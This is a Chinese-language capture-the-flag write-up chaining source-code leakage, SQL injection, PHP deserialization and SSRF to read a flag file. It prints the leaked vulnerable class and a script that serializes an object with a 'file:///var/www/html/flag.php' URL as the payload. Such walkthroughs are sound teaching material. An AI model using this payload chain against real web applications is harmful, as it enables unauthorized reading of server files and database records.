知识点:
- 源码泄露
- SQL注入
- PHP反序列化
- SSRF
解题步骤:
打开题目

先注册看看,当在用户名加了单引号的时候,发现报错了

加双引号没有报错

还以为是二次注入,但是如果是单引号注入类型的话,也注册不上去
点击一下 username ,发现url存在参数

而且发现可以切换到其他用户去
因为用户只有两个,当 ?no=3时,页面出现报错了

报错信息还出现了路径,既然能引起报错,那就试试在这里进行sql注入
发现获取到字段数

接着获取数据库表,这里要用内联注释的方式绕过

获取到数据库表为 users,接着获取字段

爆 username和passwd的字段值

接着爆一下 data 的字段值

发现是数组,而且头部也有反序列化的标志,查看一下有没有其他文件可以访问

发现了 robots.txt 的存在
访问一下

下载bak然后打开看看
<?phpclass UserInfo{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init(); //创建一个新cURL资源curl_setopt($ch, CURLOPT_URL, $url); // 设置URL和相应的选项curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将curl_exec()获取的信息以文件流的形式返回,而不是直接输出$output = curl_exec($ch); // 抓取URL并把它传递给浏览器$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch); //关闭cURL资源,并且释放系统资源return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
思路:
提交了一个no的参数,返回了用户信息这个页面,所以可以猜测服务器端时通过分析 no 的参数,然后进入到数据库查询信息然后返回到页面,而且之前sql注入的时候查询到的字段数是有4个的,分别是 users、passwd、data、no,但是没有注册时候的blog,而且这里也对blog进行严格的检验,就是不让我们在这里构造语句,思路就是要绕过这些限制构造出获取信息的语句
这里只有data是不在注册的时候的参数,而且sql注入到的信息data是有序列化后blog属性的值,那就是说blog地址的值是通过查询data字段得到其中的序列化信息去渲染这个页面,从而得到 user、passwd、blog的值
而且通过 function get($url) 的代码块可以看出,这里是初始化一个新的cURL会话并返回一个网页,而且public function getBlogContents () 这里可以调用curl去执行,所以利用getBlogContents调用的curl进行SSRF攻击
构造一个恶意对象
<?phpclass UserInfo{public $name = "admin";public $age = 20;public $blog = "file:///var/www/html/flag.php";}$data = new UserInfo();echo serialize($data);?>
得到:O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:20;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

获得base64编码的flag

解密得到flag
<?php$flag = "flag{a56a8e34-6bad-4570-ae24-59ca98991182}";exit(0);
